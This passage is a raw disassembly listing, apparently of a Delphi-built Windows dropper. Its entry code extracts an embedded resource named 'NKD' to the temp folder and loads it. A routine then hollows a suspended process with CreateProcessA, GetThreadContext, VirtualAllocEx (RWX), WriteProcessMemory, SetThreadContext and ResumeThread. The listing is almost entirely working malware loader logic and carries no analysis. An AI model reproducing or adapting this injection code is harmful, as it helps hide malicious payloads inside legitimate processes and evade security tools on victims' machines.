		pop	ebp
		retn
sub_10007DD0	endp

; ---------------------------------------------------------------------------
		align 4
		dd 0FFFFFFFFh, 2
dword_10007E4C	dd 7830h		; DATA XREF: sub_10007DD0+3Co

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_10007E50	proc near		; DATA XREF: CODE:10008660o
		push	ebp
		mov	ebp, esp
		xor	eax, eax
		push	ebp
		push	offset loc_10007E75
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		inc	ds:dword_1000A7A0
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_10007E7C

loc_10007E74:				; CODE XREF: sub_10007E50+2Aj
		retn
; ---------------------------------------------------------------------------

loc_10007E75:				; DATA XREF: sub_10007E50+6o
		jmp	loc_10003048
; ---------------------------------------------------------------------------
		jmp	short loc_10007E74
; ---------------------------------------------------------------------------

loc_10007E7C:				; CODE XREF: sub_10007E50:loc_10007E74j
					; DATA XREF: sub_10007E50+1Fo
		pop	ebp
		retn
sub_10007E50	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_10007E80	proc near		; DATA XREF: CODE:1000865Co
		sub	ds:dword_1000A7A0, 1
		retn
sub_10007E80	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_10007E88	proc near		; DATA XREF: CODE:10008668o
		push	ebp
		mov	ebp, esp
		xor	eax, eax
		push	ebp
		push	offset loc_10007EAD
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		inc	ds:dword_1000A7A4
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_10007EB4

loc_10007EAC:				; CODE XREF: sub_10007E88+2Aj
		retn
; ---------------------------------------------------------------------------

loc_10007EAD:				; DATA XREF: sub_10007E88+6o
		jmp	loc_10003048
; ---------------------------------------------------------------------------
		jmp	short loc_10007EAC
; ---------------------------------------------------------------------------

loc_10007EB4:				; CODE XREF: sub_10007E88:loc_10007EACj
					; DATA XREF: sub_10007E88+1Fo
		pop	ebp
		retn
sub_10007E88	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_10007EB8	proc near		; DATA XREF: CODE:10008664o
		sub	ds:dword_1000A7A4, 1
		retn
sub_10007EB8	endp


; =============== S U B	R O U T	I N E =======================================



sub_10007EC0	proc near		; CODE XREF: sub_10007EE0p
					; sub_10007F0C+5Cp
		jmp	short loc_10007EC3
; ---------------------------------------------------------------------------

loc_10007EC2:				; CODE XREF: sub_10007EC0+Cj
		inc	eax

loc_10007EC3:				; CODE XREF: sub_10007EC0j
					; sub_10007EC0+1Cj
		mov	dl, [eax]
		test	dl, dl
		jz	short loc_10007ECE
		cmp	dl, 20h
		jbe	short loc_10007EC2

loc_10007ECE:				; CODE XREF: sub_10007EC0+7j
		cmp	byte ptr [eax],	22h
		jnz	short locret_10007EDE
		cmp	byte ptr [eax+1], 22h
		jnz	short locret_10007EDE
		add	eax, 2
		jmp	short loc_10007EC3
; ---------------------------------------------------------------------------

locret_10007EDE:			; CODE XREF: sub_10007EC0+11j
					; sub_10007EC0+17j
		retn
sub_10007EC0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_10007EE0	proc near		; CODE XREF: sub_10007F0C+67p
		call	sub_10007EC0
		jmp	short loc_10007F04
; ---------------------------------------------------------------------------

loc_10007EE7:				; CODE XREF: sub_10007EE0+29j
		cmp	dl, 22h
		jnz	short loc_10007F03
		inc	eax
		jmp	short loc_10007EF0
; ---------------------------------------------------------------------------

loc_10007EEF:				; CODE XREF: sub_10007EE0+19j
		inc	eax

loc_10007EF0:				; CODE XREF: sub_10007EE0+Dj
		mov	dl, [eax]
		test	dl, dl
		jz	short loc_10007EFB
		cmp	dl, 22h
		jnz	short loc_10007EEF

loc_10007EFB:				; CODE XREF: sub_10007EE0+14j
		cmp	byte ptr [eax],	0
		jz	short loc_10007F04
		inc	eax
		jmp	short loc_10007F04
; ---------------------------------------------------------------------------

loc_10007F03:				; CODE XREF: sub_10007EE0+Aj
		inc	eax

loc_10007F04:				; CODE XREF: sub_10007EE0+5j
					; sub_10007EE0+1Ej ...
		mov	dl, [eax]
		cmp	dl, 20h
		ja	short loc_10007EE7
		retn
sub_10007EE0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_10007F0C	proc near		; CODE XREF: sub_1000820C+177p

var_110		= dword	ptr -110h
var_109		= byte ptr -109h
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFEF0h
		push	ebx
		push	esi
		push	edi
		xor	ecx, ecx
		mov	[ebp+var_110], ecx
		mov	[ebp+var_4], edx
		mov	esi, eax
		xor	eax, eax
		push	ebp
		push	offset loc_10008016
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		test	esi, esi
		jnz	short loc_10007F5F
		push	105h
		lea	eax, [ebp+var_109]
		push	eax
		push	0
		call	sub_100045C0	; GetModuleFileNameA
		mov	ecx, eax
		lea	edx, [ebp+var_109]
		mov	eax, [ebp+var_4]
		call	sub_10003710
		jmp	loc_10007FFD
; ---------------------------------------------------------------------------

loc_10007F5F:				; CODE XREF: sub_10007F0C+29j
		call	sub_100045A0	; GetCommandLineA
		mov	ebx, eax

loc_10007F66:				; CODE XREF: sub_10007F0C+79j
		mov	eax, ebx
		call	sub_10007EC0
		mov	ebx, eax
		mov	edi, ebx
		mov	eax, ebx
		call	sub_10007EE0
		mov	ebx, eax
		test	esi, esi
		jz	short loc_10007F87
		dec	esi
		test	esi, esi
		jl	short loc_10007F87
		cmp	edi, ebx
		jnz	short loc_10007F66

loc_10007F87:				; CODE XREF: sub_10007F0C+70j
					; sub_10007F0C+75j
		mov	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_110]
		mov	edx, edi
		call	sub_100037FC
		mov	eax, [ebp+var_110]
		mov	ecx, ebx
		sub	ecx, edi
		mov	edx, 1
		call	sub_10003988
		mov	eax, [ebp+var_4]
		mov	eax, [eax]
		call	sub_10003894
		cmp	eax, 2
		jl	short loc_10007FFD
		mov	eax, [ebp+var_4]
		mov	eax, [eax]
		cmp	byte ptr [eax],	22h
		jnz	short loc_10007FFD
		mov	eax, [ebp+var_4]
		mov	eax, [eax]
		call	sub_10003894
		mov	edx, [ebp+var_4]
		mov	edx, [edx]
		cmp	byte ptr [edx+eax-1], 22h
		jnz	short loc_10007FFD
		mov	eax, [ebp+var_4]
		push	eax
		mov	eax, [ebp+var_4]
		mov	eax, [eax]
		call	sub_10003894
		mov	ecx, eax
		sub	ecx, 2
		mov	eax, [ebp+var_4]
		mov	eax, [eax]
		mov	edx, 2
		call	sub_10003988

loc_10007FFD:				; CODE XREF: sub_10007F0C+4Ej
					; sub_10007F0C+ADj ...
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_1000801D

loc_1000800A:				; CODE XREF: sub_10007F0C+10Fj
		lea	eax, [ebp+var_110]
		call	sub_10003620
		retn
; ---------------------------------------------------------------------------

loc_10008016:				; DATA XREF: sub_10007F0C+1Co
		jmp	loc_10003048
; ---------------------------------------------------------------------------
		jmp	short loc_1000800A
; ---------------------------------------------------------------------------

loc_1000801D:				; CODE XREF: sub_10007F0C+109j
					; DATA XREF: sub_10007F0C+F9o
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_10007F0C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_10008024	proc near		; CODE XREF: sub_10008094+Cp

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	0
		push	ebx
		push	esi
		push	edi
		mov	esi, ecx
		mov	ebx, edx
		mov	edi, eax
		xor	eax, eax
		push	ebp
		push	offset loc_10008087
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	eax, esi
		mov	edx, edi
		call	sub_10003674
		cmp	dword ptr [esi], 0
		jz	short loc_1000805D
		mov	eax, [esi]
		call	sub_10003894
		mov	edx, [esi]
		cmp	bl, [edx+eax-1]
		jz	short loc_10008071

loc_1000805D:				; CODE XREF: sub_10008024+28j
		lea	eax, [ebp+var_4]
		mov	edx, ebx
		call	sub_100037EC
		mov	edx, [ebp+var_4]
		mov	eax, esi
		call	sub_1000389C

loc_10008071:				; CODE XREF: sub_10008024+37j
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_1000808E

loc_1000807E:				; CODE XREF: sub_10008024+68j
		lea	eax, [ebp+var_4]
		call	sub_10003620
		retn
; ---------------------------------------------------------------------------

loc_10008087:				; DATA XREF: sub_10008024+11o
		jmp	loc_10003048
; ---------------------------------------------------------------------------
		jmp	short loc_1000807E
; ---------------------------------------------------------------------------

loc_1000808E:				; CODE XREF: sub_10008024+62j
					; DATA XREF: sub_10008024+55o
		pop	edi
		pop	esi
		pop	ebx
		pop	ecx
		pop	ebp
		retn
sub_10008024	endp


; =============== S U B	R O U T	I N E =======================================



sub_10008094	proc near		; CODE XREF: sub_100080A8+4Cp
		push	ebx
		push	esi
		mov	esi, edx
		mov	ebx, eax
		mov	ecx, esi
		mov	dl, 5Ch
		mov	eax, ebx
		call	sub_10008024
		pop	esi
		pop	ebx
		retn
sub_10008094	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_100080A8	proc near		; CODE XREF: CODE:100086A5p
					; CODE:100086D3p

var_10C		= dword	ptr -10Ch
var_105		= byte ptr -105h

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFEF4h
		push	ebx
		xor	edx, edx
		mov	[ebp+var_10C], edx
		mov	ebx, eax
		xor	eax, eax
		push	ebp
		push	offset loc_10008112
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		lea	eax, [ebp+var_105]
		push	eax
		push	105h
		call	sub_100045E8	; GetTempPathA
		lea	eax, [ebp+var_10C]
		lea	edx, [ebp+var_105]
		call	sub_100037FC
		mov	eax, [ebp+var_10C]
		mov	edx, ebx
		call	sub_10008094
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_10008119

loc_10008106:				; CODE XREF: sub_100080A8+6Fj
		lea	eax, [ebp+var_10C]
		call	sub_10003620
		retn
; ---------------------------------------------------------------------------

loc_10008112:				; DATA XREF: sub_100080A8+17o
		jmp	loc_10003048
; ---------------------------------------------------------------------------
		jmp	short loc_10008106
; ---------------------------------------------------------------------------

loc_10008119:				; CODE XREF: sub_100080A8+69j
					; DATA XREF: sub_100080A8+59o
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_100080A8	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_10008120	proc near		; DATA XREF: CODE:10008670o
		push	ebp
		mov	ebp, esp
		xor	eax, eax
		push	ebp
		push	offset loc_10008165
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		inc	ds:dword_1000A7A8
		jnz	short loc_10008157
		cmp	ds:dword_1000A7AC, 0
		jz	short loc_1000814D
		mov	eax, ds:dword_1000A7AC
		push	eax
		call	sub_10004588	; FreeLibrary

loc_1000814D:				; CODE XREF: sub_10008120+20j
		mov	eax, offset dword_10009294
		call	sub_10003620

loc_10008157:				; CODE XREF: sub_10008120+17j
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_1000816C

loc_10008164:				; CODE XREF: sub_10008120+4Aj
		retn
; ---------------------------------------------------------------------------

loc_10008165:				; DATA XREF: sub_10008120+6o
		jmp	loc_10003048
; ---------------------------------------------------------------------------
		jmp	short loc_10008164
; ---------------------------------------------------------------------------

loc_1000816C:				; CODE XREF: sub_10008120:loc_10008164j
					; DATA XREF: sub_10008120+3Fo
		pop	ebp
		retn
sub_10008120	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_10008170	proc near		; DATA XREF: CODE:1000866Co
		sub	ds:dword_1000A7A8, 1
		retn
sub_10008170	endp


; =============== S U B	R O U T	I N E =======================================



sub_10008178	proc near		; CODE XREF: sub_1000820C+ACp
					; sub_1000820C+102p ...
		push	ebx
		mov	ebx, edx
		mov	ecx, eax
		mov	eax, ecx
		xor	edx, edx
		div	ebx
		test	edx, edx
		jnz	short loc_1000818B
		mov	eax, ecx
		pop	ebx
		retn
; ---------------------------------------------------------------------------

loc_1000818B:				; CODE XREF: sub_10008178+Dj
		mov	eax, ecx
		xor	edx, edx
		div	ebx
		inc	eax
		imul	ebx
		pop	ebx
		retn
sub_10008178	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_10008198	proc near		; CODE XREF: sub_1000820C+34p

var_14		= dword	ptr -14h

		push	ebx
		push	esi
		push	edi
		push	ebp
		push	ecx
		mov	ecx, [eax+3Ch]
		add	ecx, eax
		mov	edi, [ecx+38h]
		mov	ebx, [ecx+54h]
		mov	eax, ebx
		xor	edx, edx
		div	edi
		test	edx, edx
		jnz	short loc_100081B7
		mov	[esp+14h+var_14], ebx
		jmp	short loc_100081C3
; ---------------------------------------------------------------------------

loc_100081B7:				; CODE XREF: sub_10008198+18j
		mov	eax, ebx
		xor	edx, edx
		div	edi
		inc	eax
		imul	edi
		mov	[esp+14h+var_14], eax

loc_100081C3:				; CODE XREF: sub_10008198+1Dj
		lea	esi, [ecx+18h]
		movzx	eax, word ptr [ecx+14h]
		add	esi, eax
		movzx	ebx, word ptr [ecx+6]
		dec	ebx
		test	ebx, ebx
		jb	short loc_10008202
		inc	ebx
		xor	ecx, ecx

loc_100081D8:				; CODE XREF: sub_10008198+68j
		lea	eax, [ecx+ecx*4]
		mov	ebp, [esi+eax*8+8]
		test	ebp, ebp
		jz	short loc_100081FE
		mov	eax, ebp
		xor	edx, edx
		div	edi
		test	edx, edx
		jnz	short loc_100081F2
		add	[esp+14h+var_14], ebp
		jmp	short loc_100081FE
; ---------------------------------------------------------------------------

loc_100081F2:				; CODE XREF: sub_10008198+53j
		mov	eax, ebp
		xor	edx, edx
		div	edi
		inc	eax
		imul	edi
		add	[esp+14h+var_14], eax

loc_100081FE:				; CODE XREF: sub_10008198+49j
					; sub_10008198+58j
		inc	ecx
		dec	ebx
		jnz	short loc_100081D8

loc_10008202:				; CODE XREF: sub_10008198+3Bj
		mov	eax, [esp+14h+var_14]
		pop	edx
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_10008198	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_1000820C	proc near		; CODE XREF: CODE:10008705p

var_140		= dword	ptr -140h
var_13C		= byte ptr -13Ch
var_F8		= dword	ptr -0F8h
var_F4		= dword	ptr -0F4h
var_E8		= dword	ptr -0E8h
var_44		= dword	ptr -44h
var_38		= dword	ptr -38h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= byte ptr -0Ch
var_8		= byte ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFEC0h
		push	ebx
		push	esi
		push	edi
		xor	edx, edx
		mov	[ebp+var_140], edx
		mov	[ebp+var_4], eax
		xor	eax, eax
		push	ebp
		push	offset loc_10008498
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	eax, [ebp+var_4]
		mov	eax, [eax+3Ch]
		add	eax, [ebp+var_4]
		mov	[ebp+var_18], eax
		mov	eax, [ebp+var_4]
		call	sub_10008198
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		call	sub_100024F8
		mov	[ebp+var_1C], eax
		xor	edx, edx
		push	ebp
		push	offset loc_10008478
		push	dword ptr fs:[edx]
		mov	fs:[edx], esp
		mov	eax, [ebp+var_1C]
		mov	[ebp+var_14], eax
		mov	eax, [ebp+var_18]
		mov	eax, [eax+54h]
		mov	edx, [ebp+var_18]
		lea	esi, [edx+18h]
		mov	edx, [ebp+var_18]
		movzx	edx, word ptr [edx+14h]
		add	esi, edx
		mov	edx, [ebp+var_18]
		movzx	edi, word ptr [edx+6]
		dec	edi
		test	edi, edi
		jb	short loc_1000829F
		inc	edi
		xor	ebx, ebx

loc_1000828B:				; CODE XREF: sub_1000820C+91j
		lea	edx, [ebx+ebx*4]
		cmp	eax, [esi+edx*8+14h]
		jbe	short loc_1000829B
		lea	eax, [ebx+ebx*4]
		mov	eax, [esi+eax*8+14h]

loc_1000829B:				; CODE XREF: sub_1000820C+86j
		inc	ebx
		dec	edi
		jnz	short loc_1000828B

loc_1000829F:				; CODE XREF: sub_1000820C+7Aj
		mov	ecx, eax
		mov	edx, [ebp+var_4]
		mov	eax, [ebp+var_14]
		call	sub_10004690
		mov	eax, [ebp+var_18]
		mov	edx, [eax+38h]
		mov	eax, [ebp+var_18]
		mov	eax, [eax+54h]
		call	sub_10008178
		add	eax, [ebp+var_14]
		mov	[ebp+var_14], eax
		mov	eax, [ebp+var_18]
		movzx	edi, word ptr [eax+6]
		dec	edi
		test	edi, edi
		jb	short loc_10008341
		inc	edi
		xor	ebx, ebx

loc_100082D2:				; CODE XREF: sub_1000820C+133j
		lea	eax, [ebx+ebx*4]
		mov	eax, [esi+eax*8+10h]
		test	eax, eax
		jbe	short loc_1000831B
		lea	edx, [ebx+ebx*4]
		cmp	eax, [esi+edx*8+8]
		jbe	short loc_100082ED
		lea	eax, [ebx+ebx*4]
		mov	eax, [esi+eax*8+8]

loc_100082ED:				; CODE XREF: sub_1000820C+D8j
		lea	edx, [ebx+ebx*4]
		mov	edx, [esi+edx*8+14h]
		add	edx, [ebp+var_4]
		mov	ecx, eax
		mov	eax, [ebp+var_14]
		call	sub_10004690
		lea	eax, [ebx+ebx*4]
		mov	eax, [esi+eax*8+8]
		mov	edx, [ebp+var_18]
		mov	edx, [edx+38h]
		call	sub_10008178
		add	eax, [ebp+var_14]
		mov	[ebp+var_14], eax
		jmp	short loc_1000833D
; ---------------------------------------------------------------------------

loc_1000831B:				; CODE XREF: sub_1000820C+CFj
		lea	eax, [ebx+ebx*4]
		cmp	dword ptr [esi+eax*8+8], 0
		jz	short loc_1000833D
		lea	eax, [ebx+ebx*4]
		mov	eax, [esi+eax*8+8]
		mov	edx, [ebp+var_18]
		mov	edx, [edx+38h]
		call	sub_10008178
		add	eax, [ebp+var_14]
		mov	[ebp+var_14], eax

loc_1000833D:				; CODE XREF: sub_1000820C+10Dj
					; sub_1000820C+117j
		inc	ebx
		dec	edi
		jnz	short loc_100082D2

loc_10008341:				; CODE XREF: sub_1000820C+C1j
		lea	eax, [ebp+var_13C]
		mov	edx, 44h
		call	sub_10004698
		lea	eax, [ebp+var_E8]
		mov	edx, 0CCh
		call	sub_10004698
		lea	eax, [ebp+var_F8]
		push	eax
		lea	eax, [ebp+var_13C]
		push	eax
		push	0
		push	0
		push	4
		push	0
		push	0
		push	0
		lea	edx, [ebp+var_140]
		xor	eax, eax
		call	sub_10007F0C
		mov	eax, [ebp+var_140]
		call	sub_1000397C
		push	eax
		push	0
		call	sub_10004570	; CreateProcessA
		mov	[ebp+var_E8], 10007h
		lea	eax, [ebp+var_E8]
		push	eax
		mov	eax, [ebp+var_F4]
		push	eax
		call	sub_100045F0	; GetThreadContext
		lea	eax, [ebp+var_C]
		push	eax
		push	4
		lea	eax, [ebp+var_8]
		push	eax
		mov	eax, [ebp+var_44]
		add	eax, 8
		push	eax
		mov	eax, [ebp+var_F8]
		push	eax
		call	sub_10004620	; ReadProcessMemory
		push	40h
		push	3000h
		mov	eax, [ebp+var_10]
		push	eax
		mov	eax, [ebp+var_18]
		mov	eax, [eax+34h]
		push	eax
		mov	eax, [ebp+var_F8]
		push	eax
		call	sub_10004648	; VirtualAllocEx
		lea	eax, [ebp+var_C]
		push	eax
		mov	eax, [ebp+var_10]
		push	eax
		mov	eax, [ebp+var_1C]
		push	eax
		mov	eax, [ebp+var_18]
		mov	eax, [eax+34h]
		push	eax
		mov	eax, [ebp+var_F8]
		push	eax
		call	sub_10004660	; WriteProcessMemory
		lea	eax, [ebp+var_C]
		push	eax
		push	4
		mov	eax, [ebp+var_18]
		add	eax, 34h
		push	eax
		mov	eax, [ebp+var_44]
		add	eax, 8
		push	eax
		mov	eax, [ebp+var_F8]
		push	eax
		call	sub_10004660	; WriteProcessMemory
		mov	eax, [ebp+var_18]
		mov	eax, [eax+34h]
		mov	edx, [ebp+var_18]
		add	eax, [edx+28h]
		mov	[ebp+var_38], eax
		lea	eax, [ebp+var_E8]
		push	eax
		mov	eax, [ebp+var_F4]
		push	eax
		call	sub_10004630	; SetThreadContext
		mov	eax, [ebp+var_F4]
		push	eax
		call	sub_10004628	; ResumeThread
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_1000847F

loc_1000846D:				; CODE XREF: sub_1000820C+271j
		mov	eax, [ebp+var_1C]
		push	eax
		call	sub_100041A8
		pop	ecx
		retn
; ---------------------------------------------------------------------------

loc_10008478:				; DATA XREF: sub_1000820C+4Ao
		jmp	loc_10003048
; ---------------------------------------------------------------------------
		jmp	short loc_1000846D
; ---------------------------------------------------------------------------

loc_1000847F:				; CODE XREF: sub_1000820C+26Bj
					; DATA XREF: sub_1000820C+25Co
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_1000849F

loc_1000848C:				; CODE XREF: sub_1000820C+291j
		lea	eax, [ebp+var_140]
		call	sub_10003620
		retn
; ---------------------------------------------------------------------------

loc_10008498:				; DATA XREF: sub_1000820C+1Ao
		jmp	loc_10003048
; ---------------------------------------------------------------------------
		jmp	short loc_1000848C
; ---------------------------------------------------------------------------

loc_1000849F:				; CODE XREF: sub_1000820C+28Bj
					; DATA XREF: sub_1000820C+27Bo
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_1000820C	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_100084A8	proc near		; CODE XREF: CODE:100086CBp

var_8		= byte ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF8h
		push	ebx
		push	esi
		push	edi
		mov	edi, edx
		mov	esi, eax
		xor	ebx, ebx
		push	0
		push	20h
		push	2
		push	0
		push	1
		push	40000000h
		push	ecx
		call	sub_10004568	; CreateFileA
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jz	short loc_1000854C
		xor	eax, eax
		push	ebp
		push	offset loc_10008543
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		push	edi
		push	esi
		push	0
		call	sub_10004580	; FindResourceA
		mov	edi, eax
		push	edi
		mov	eax, ds:dword_1000A664
		push	eax
		call	sub_10004608	; LoadResource
		mov	esi, eax
		test	esi, esi
		jz	short loc_10008525
		push	0
		lea	eax, [ebp+var_8]
		push	eax
		push	edi
		mov	eax, ds:dword_1000A664
		push	eax
		call	sub_10004638	; SizeofResource
		push	eax
		push	esi
		call	sub_10004610	; LockResource
		push	eax
		mov	eax, [ebp+var_4]
		push	eax
		call	sub_10004658	; WriteFile
		jmp	short loc_1000852C
; ---------------------------------------------------------------------------

loc_10008525:				; CODE XREF: sub_100084A8+56j
		call	sub_1000312C
		jmp	short loc_1000854C
; ---------------------------------------------------------------------------

loc_1000852C:				; CODE XREF: sub_100084A8+7Bj
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_1000854A

loc_10008539:				; CODE XREF: sub_100084A8+A0j
		mov	eax, [ebp+var_4]
		push	eax
		call	sub_10004560	; CloseHandle
		retn
; ---------------------------------------------------------------------------

loc_10008543:				; DATA XREF: sub_100084A8+30o
		jmp	loc_10003048
; ---------------------------------------------------------------------------
		jmp	short loc_10008539
; ---------------------------------------------------------------------------

loc_1000854A:				; DATA XREF: sub_100084A8+8Co
		mov	bl, 1

loc_1000854C:				; CODE XREF: sub_100084A8+2Bj
					; sub_100084A8+82j
		mov	eax, ebx
		pop	edi
		pop	esi
		pop	ebx
		pop	ecx
		pop	ecx
		pop	ebp
		retn
sub_100084A8	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_10008558	proc near		; CODE XREF: CODE:100086EDp

var_8		= byte ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF8h
		push	ebx
		push	esi
		push	edi
		mov	edi, edx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		call	sub_1000396C
		xor	eax, eax
		push	ebp
		push	offset loc_100085E1
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		xor	esi, esi
		push	0
		push	0
		push	3
		push	0
		push	1
		push	80000000h
		mov	eax, [ebp+var_4]
		call	sub_1000397C
		push	eax
		call	sub_10004568	; CreateFileA
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_100085CB
		push	0
		push	ebx
		call	sub_100045B0	; GetFileSize
		mov	[edi], eax
		mov	eax, [edi]
		call	sub_100024F8
		mov	esi, eax
		push	0
		lea	eax, [ebp+var_8]
		push	eax
		mov	eax, [edi]
		push	eax
		push	esi
		push	ebx
		call	sub_10004618	; ReadFile
		push	ebx
		call	sub_10004560	; CloseHandle

loc_100085CB:				; CODE XREF: sub_10008558+48j
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_100085E8

loc_100085D8:				; CODE XREF: sub_10008558+8Ej
		lea	eax, [ebp+var_4]
		call	sub_10003620
		retn
; ---------------------------------------------------------------------------

loc_100085E1:				; DATA XREF: sub_10008558+19o
		jmp	loc_10003048
; ---------------------------------------------------------------------------
		jmp	short loc_100085D8
; ---------------------------------------------------------------------------

loc_100085E8:				; CODE XREF: sub_10008558+88j
					; DATA XREF: sub_10008558+7Bo
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		pop	ecx
		pop	ecx
		pop	ebp
		retn
sub_10008558	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_100085F4	proc near		; DATA XREF: CODE:10008678o
		push	ebp
		mov	ebp, esp
		xor	eax, eax
		push	ebp
		push	offset loc_10008613
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_1000861A

loc_10008612:				; CODE XREF: sub_100085F4+24j
		retn
; ---------------------------------------------------------------------------

loc_10008613:				; DATA XREF: sub_100085F4+6o
		jmp	loc_10003048
; ---------------------------------------------------------------------------
		jmp	short loc_10008612
; ---------------------------------------------------------------------------

loc_1000861A:				; CODE XREF: sub_100085F4:loc_10008612j
					; DATA XREF: sub_100085F4+19o
		pop	ebp
		retn
sub_100085F4	endp

; ---------------------------------------------------------------------------
dword_1000861C	dd 0Bh			; DATA XREF: CODE:1000868Ao
					; BSS:off_1000A638o
		dd offset off_10008624
off_10008624	dd offset loc_10004520	; DATA XREF: CODE:10008620o
		dd offset sub_100044F0
		dd offset sub_100042EC
		dd offset sub_1000428C
		dd offset sub_10004558
		dd offset sub_10004528
		dd offset sub_100046D0
		dd offset sub_100046A0
		dd offset sub_10004790
		dd offset sub_10004760
		dd offset sub_10004A48
		dd offset sub_10004A18
		dd offset sub_10007DD0
		dd offset sub_10007C50
		dd offset sub_10007E80
		dd offset sub_10007E50
		dd offset sub_10007EB8
		dd offset sub_10007E88
		dd offset sub_10008170
		dd offset sub_10008120
		align 8
		dd offset sub_100085F4
; ---------------------------------------------------------------------------

		public start
start:
		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFE8h
		xor	eax, eax
		mov	[ebp-18h], eax
		mov	[ebp-14h], eax
		mov	eax, offset dword_1000861C
		call	sub_100044AC
		xor	eax, eax
		push	ebp
		push	offset loc_10008725
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		lea	eax, [ebp-14h]
		call	sub_100080A8
		lea	eax, [ebp-14h]
		mov	edx, offset dword_1000873C
		call	sub_1000389C
		mov	eax, [ebp-14h]
		call	sub_1000397C
		mov	ecx, eax
		mov	edx, offset aRc_data ; "RC_DATA"
		mov	eax, offset aNkd ; "NKD"
		call	sub_100084A8
		lea	eax, [ebp-18h]
		call	sub_100080A8
		lea	eax, [ebp-18h]
		mov	edx, offset dword_1000873C
		call	sub_1000389C
		mov	eax, [ebp-18h]
		mov	edx, offset dword_1000A7B0
		call	sub_10008558
		mov	edx, offset dword_1000A7B0
		mov	ecx, 2
		call	sub_100046E0
		test	eax, eax
		jz	short loc_1000870A
		call	sub_1000820C

loc_1000870A:				; CODE XREF: CODE:10008703j
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_1000872C

loc_10008717:				; CODE XREF: CODE:1000872Aj
		lea	eax, [ebp-18h]
		mov	edx, 2
		call	sub_10003644
		retn
; ---------------------------------------------------------------------------

loc_10008725:				; DATA XREF: CODE:10008697o
		jmp	loc_10003048
; ---------------------------------------------------------------------------
		jmp	short loc_10008717
; ---------------------------------------------------------------------------

loc_1000872C:				; CODE XREF: CODE:10008724j
					; DATA XREF: CODE:10008712o
		call	sub_10003530
; ---------------------------------------------------------------------------
		align 4
		dd 0FFFFFFFFh, 7
